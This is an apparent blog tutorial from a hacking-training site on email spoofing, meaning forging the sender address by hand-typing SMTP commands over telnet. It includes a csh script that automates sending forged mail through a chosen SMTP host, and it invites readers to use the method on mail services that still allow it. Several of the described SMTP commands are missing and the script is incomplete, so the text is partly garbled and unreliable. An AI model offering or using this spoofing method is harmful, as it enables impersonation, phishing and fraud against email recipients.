Email Spoofing

What is email Spoofing?

Email Spoofing is a method in which the attacker spoofs his id and send mail to the victim from the spoofed id.Wondering, yes this is possible because of some flaws in the SMTP server.SMTP server is the server which helps you in sending emails.
Ok here we will use a tool known as telnet about which we will learn later.
Let me give you an example and then explain you:
Now the before being involved in email forging.I want to tell you that here I have telnetted to port 25 of gmail.com.The port 25 of all computer run sendmail daemon.
(note the part where numbers are written is not written by me they are response I got after typing the commands.Example:250-smtp.gmail.com)
helo gmail.com
This is the part in which we have to introduce our self to the server.
In this line we have to write the email id of the person from whom we are sending the email.In this case it is [email protected].
In this line we have to tell the server to whom this email should be sent.
After typing this command we have to type the text that should be included in the email.
This cmmand should be included if you want the mail to have a subject.And after this you can press enter and start writing the text that you want to include in the email.
And at last you haves to type “.” to tell the server that the message is ended.
And it will send the message to the target.
Another thing in email forging is if you want to send the message to multiple people you can type
“rcpt to:”many number of times.
Now after sending the above email the header generated will be:
Return-Path: <[email protected]>
Received: from gmail.com
Date: Fri, 7 Jul 2:24:50 +0530(IST)
From: Divya Ranjan <[email protected]>
Message-Id: <[email protected]>
Subject: Forge email
Here is a simple unix shell script that when executed can do the samething:
#! /bin/csh -fB
### This is a simple shell script for easy use of anonymous mail. To run the
### program just save it and delete everything up until the #! /bin/csh -fB
### line. Then just type the name you save it as or the name and whoever
if ($1 != “”) then
set mto=$1
echo ‘To: ‘
set mto=$<
echo -n ‘From: ‘
set mfrom=$<
echo -n ‘Use which host for smtp (return for ‘`hostname`’) ? ‘
set usehost=$<
echo -n ‘Use which editor (return for vi)? ‘
set editor=$<
if($editor ==””) then
set editor=vi
if ($mfrom == “”) then
set mfrom=`whoami`’@’`hostname`
echo ‘helo amail’ >> tmpamail1
echo ‘mail from: ‘$mfrom >> tmpamail1
echo ‘rcpt to: ‘$mto >> tmpamail1
echo ‘data’ >> tmpamail1
$editor tmpamail2
echo -n ‘Are you sure you want to send this? ‘
set yorn=$<
if($yorn == ‘y’) then
echo . >> tmpamail2
echo quit >> tmpamail2
cat tmpamail2 >> tmpamail1
telnet $usehost 25 < tmpamail1 > /dev/null
echo ‘Mail has been sent to: ‘$mto
echo ‘ From: ‘$mfrom
rm tmpamail1 tmpamail2

Now this is not working in gmail bcoz they hav fixed it but hey this will work in other mail services.
So Enjoy hey and don’t forget to see www.divyaranjan.com for more tutorials.

Note: If you enjoyed this post, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

What Makes ICS/OT Infrastructure Vulnerable?

Infrastructure security for operational technologies (OT) and industrial control systems (ICS) varies from IT security in several ways, with the inverse confidentiality, integrity, and...

Everything You Must Know About IT/OT Convergence

What is an Operational Technology (OT)? Operational technology (OT) is a technology that primarily monitors and controls physical operations. It can automate and control machines,...

Understand the OT Security and Its Importance

This article discusses OT security and why it is essential for protecting industrial systems from cyberattacks. We will also discuss common control objectives that can...

What is Deepfake, and how does it Affect Cybersecurity?

Producing deepfake is easy. It is hard to detect. They operate with a description of reality rather than reality itself (e.g., a video). Any...